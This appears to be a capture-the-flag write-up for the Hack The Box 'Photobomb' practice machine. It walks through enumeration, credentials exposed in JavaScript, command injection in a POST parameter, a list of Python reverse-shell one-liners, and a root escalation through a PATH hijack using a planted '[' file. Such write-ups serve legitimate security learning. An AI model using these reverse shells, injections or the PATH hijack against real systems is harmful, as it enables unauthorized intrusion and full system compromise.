Hack The Box Photobomb Writeup

Hack The Box Photobomb

Hello world and welcome to Haxez, this is a write-up for the Hack The Box Photobomb machine. This machine is listed as an easy machine. It requires some web application enumeration to gain access to the admin area. Then, you need to perform remote code execution on a parameter in order to get a shell. Finally, you need to elevate your privileges to root by exploiting a script that calls a binary without an absolute path.

Enumerating Photobomb

First, we perform a Nmap scan targeting the IP of the Photobomb box. I used ‘sT’ for full TCP connect scan, ‘sV’ to get service versions, ‘-p-‘ to scan all ports, ‘–script vulns’ to check for vulnerabilities and ‘–reason’ just to see why Nmap has concluded what it concluded. The results show that port 22 for SSH and port 80 for HTTP are open.

Nmap scan report for
Host is up, received echo-reply ttl 63 (0.015s latency).
Not shown: 65533 closed tcp ports (conn-refused)
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|     	CVE-2020-15778	6.8	https://vulners.com/cve/CVE-2020-15778
|     	C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	6.8	https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	*EXPLOIT*
|     	10213DBE-F683-58BB-B6D3-353173626207	6.8	https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207	*EXPLOIT*
|     	CVE-2020-12062	5.0	https://vulners.com/cve/CVE-2020-12062
|     	CVE-2021-28041	4.6	https://vulners.com/cve/CVE-2021-28041
|     	CVE-2021-41617	4.4	https://vulners.com/cve/CVE-2021-41617
|     	CVE-2020-14145	4.3	https://vulners.com/cve/CVE-2020-14145
|     	CVE-2016-20012	4.3	https://vulners.com/cve/CVE-2016-20012
|_    	CVE-2021-36368	2.6	https://vulners.com/cve/CVE-2021-36368
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
1   13.40 ms
2   13.66 ms
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.46 seconds

Wandering The Web

Since it is unlikely we need to brute force our way in, we will start with the web application on port 80. Navigating to the IP of the application will give you an error because you don’t have the hostname in your /etc/hosts file. However, this can be resolved easily by running the following command to echo it into your host’s file. Just ensure you replace the IP.

┌─[[email protected]]─[/mnt/hgfs/MOUNT/Photobomb]
└──╼ $sudo echo " photobomb.htb" | sudo tee -a /etc/hosts

Next, I ran gobuster against the domain but didn’t find much. You can see the output of that below but there isn’t really much to show.

┌─[✗]─[[email protected]]─[/mnt/hgfs/MOUNT/Photobomb]
└──╼ $sudo gobuster dir -u http://photobomb.htb/ -w /usr/share/dirb/wordlists/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://photobomb.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2023/03/10 10:02:27 Starting gobuster in directory enumeration mode
/favicon.ico          (Status: 200) [Size: 10990]
/printers             (Status: 401) [Size: 188]  
/printer              (Status: 401) [Size: 188]                
2023/03/10 10:02:37 Finished

The landing page of the website had a link which redirected you to an admin page. However, the admin page was protected by HTTP basic authentication. We could brute force this but it’s probably better to look around a bit more first. Inspecting the index page, we see a link to a javascript file. Furthermore, navigating to this javascript file gives us some credentials.

Photobomb Basic Auth
Photobomb Basic Auth

It seems that Jameson got fed up with people forgetting the password. He coded the site to automatically authenticate users provided they have a matching cookie of ‘isPhotoBombTechSupport’.

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {  document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:[email protected]/printer');
window.onload = init;

Go ahead, grab the URL including the username and password and paste it into your browser. It should automatically authenticate.


Photobomb Foothold

The website has a download link for the various photos. Clicking and intercepting this request with Burp Suite shows that it’s a post request with a number of parameters. We can send the request to the repeater and start playing with it.

So, I ran into a few issues here. When capturing the download request and attempting to play with that I kept getting 401 authorization errors. However, if you forward the first request, you then get another request with the basic auth HTTP header. This is the request where you can start having fun.

I set up a TCPDump on my tun0 interface. Sent the request to the repeater and then attempted to perform remote code execution ping on each parameter. The file type parameter failed to properly sanitise the code and started to ping my machine.

POST /printer HTTP/1.1 
Host: photobomb.htb 
Content-Length: 102 
Cache-Control: max-age=0 
Authorization: Basic cEgwdDA6YjBNYiE= 
Upgrade-Insecure-Requests: 1 
Origin: http://photobomb.htb 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Referer: http://photobomb.htb/printer 
Accept-Encoding: gzip, deflate 
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 
Connection: close 


And the TCPDump started lighting up like a Christmas tree. WE HAVE RCE.

┌─[[email protected]]─[/mnt/hgfs/MOUNT/Photobomb]
└──╼ $sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:36:53.200183 IP > ICMP echo request, id 1, seq 1, length 64
10:36:53.200208 IP > ICMP echo reply, id 1, seq 1, length 64
10:36:54.202314 IP > ICMP echo request, id 1, seq 2, length 64
10:36:54.202344 IP > ICMP echo reply, id 1, seq 2, length 64

Catching Shells

Next, I headed to everyone’s favourite payload provider, payload all the things. I grabbed one of their python payloads. Configured it, set up my listener and… it didn’t work. I tried a few others. The ones below are all the ones that didn’t work. There were more, with modifications but yeah, trial and error I guess.

export RHOST="";export RPORT=1337;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

export RHOST="";export RPORT=1337;python3 -c 'import
))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

export RHOST="";export RPORT=8888;python3 -c 'import
))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("",8888));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'

None of those worked. In the end, I went to revshells.com Put in my IP address, and port and selected Python3#1. I asked it to URL encode it. I pasted it into the request and it worked instantly.

Burp Reverse Shell
Burp Reverse Shell
POST /printer HTTP/1.1 
Host: photobomb.htb 
Content-Length: 102 
Cache-Control: max-age=0 
Authorization: Basic cEgwdDA6YjBNYiE= 
Upgrade-Insecure-Requests: 1 
Origin: http://photobomb.htb 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Referer: http://photobomb.htb/printer 
Accept-Encoding: gzip, deflate 
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 
Connection: close 


Side note. I just watched Ippsec’s video and he did this with a simple bash 1 liner. I feel stupid for not trying it.

Authenticated Information Gathering

First things first, let’s make our shell a little bit more usable with the python stty trick.

which python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:~/photobomb$

Then we can grab the user flag because we are a wizard.

[email protected]:~/photobomb$ ls /home
ls /home
[email protected]:~/photobomb$ ls /home/wizard
ls /home/wizard
photobomb  user.txt

[email protected]:~/photobomb$ cat /home/wizard/user.txt
cat /home/wizard/user.txt

Ace, now time to poke about a bit and see what we can see. Soooo, we are now on the box. Time to gather some more information. The first thing I always tend to do is to run sudo –l to see if we have anything good.

[email protected]:~/photobomb$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

It looks like we have a script called cleanup.sh in the opt directory that we can run as root without the password. Furthermore, environmental variables are reset with ‘env_reset’ and we can set our own environmental variables when running this script as indicated by the SETENV thingy. Let’s look at the script.

[email protected]:~/photobomb$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Looking back at this, I can see that the obvious exploit to go after is the find binary without the absolute path. Just drop your own find binary containing /bin/bash into /tmp and then execute the script with the PATH argument of /tmp. I didn’t do that though.

Photobomb Privilege Escalation

It is calling bashrc from /opt/.bashrc. From my understanding, bashrc is like a configuration file that bash runs. You have one in your home directory and you can add commands like screenfetch to it so that it displays asci art whenever you launch a terminal. Still, I wasn’t quite sure what to do here.

I took a look at the official walkthrough to find out what to do. The author of the walkthrough ran diff on the /opt/.bashrc and /etc/bash.bashrc files to see what was different. So I will do the same.

[email protected]:~/photobomb$ diff /etc/bash.bashrc /opt/.bashrc
diff /etc/bash.bashrc /opt/.bashrc
> # Jameson: ensure that snaps don't interfere, 'cos they are dumb
> PATH=${PATH/:\/snap\/bin/}
> # Jameson: caused problems with testing whether to rotate the log file
> enable -n [ # ]

I was a bit thrown off by this until I read the write-up. I understand the theory behind this privilege escalation and have done it with different binaries loads of times. The absolute path hasn’t been sent in a script. This means you can create your own binary with the same name and then change your environmental variable to point to that binary. Then, when you execute the script it uses your environmental variables to find the binary which you have pointed to the malicious binary.

The bit I didn’t understand was the square bracket. I didn’t know what I was looking at. It’s enabling something? It looked as though it was enabling comments. Ok… how does that help me. Well, it’s not enabling comments, it enabling the built-in shell command ‘[‘ without an absolute path. So in theory, if we create a malicious file named ‘[‘, place it somewhere like /tmp and then change our environment variable PATH to /tmp.

Then when we launch clenaup.sh, that launches bash which runs bashrc which runs our malicious ‘[‘ file. I think that’s how it is supposed to work anyway. Still learning.

Crafting The Exploit

So we need to create the ‘[‘ file in /tmp, add something to it and then make it executable.

[email protected]:~/photobomb$ touch /tmp/[
touch /tmp/[
[email protected]:~/photobomb$ echo '/bin/bash' > /tmp/[
echo '/bin/bash' > /tmp/[
[email protected]:~/photobomb$ chmod +x /tmp/[
chmod +x /tmp/[

Then we run the /opt/cleanup.sh script while specifying the PATH environmental variable and it should give us root… question mark..

[email protected]:~/photobomb$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh
[email protected]:/home/wizard/photobomb# whoami
[email protected]:/home/wizard/photobomb# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/wizard/photobomb#

Well that worked. We can now grab the root flag and we’re done.

[email protected]:/home/wizard/photobomb# whoami
[email protected]:/home/wizard/photobomb# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
[email protected]:/home/wizard/photobomb#

And we’re done. Fun box.

Leave a Reply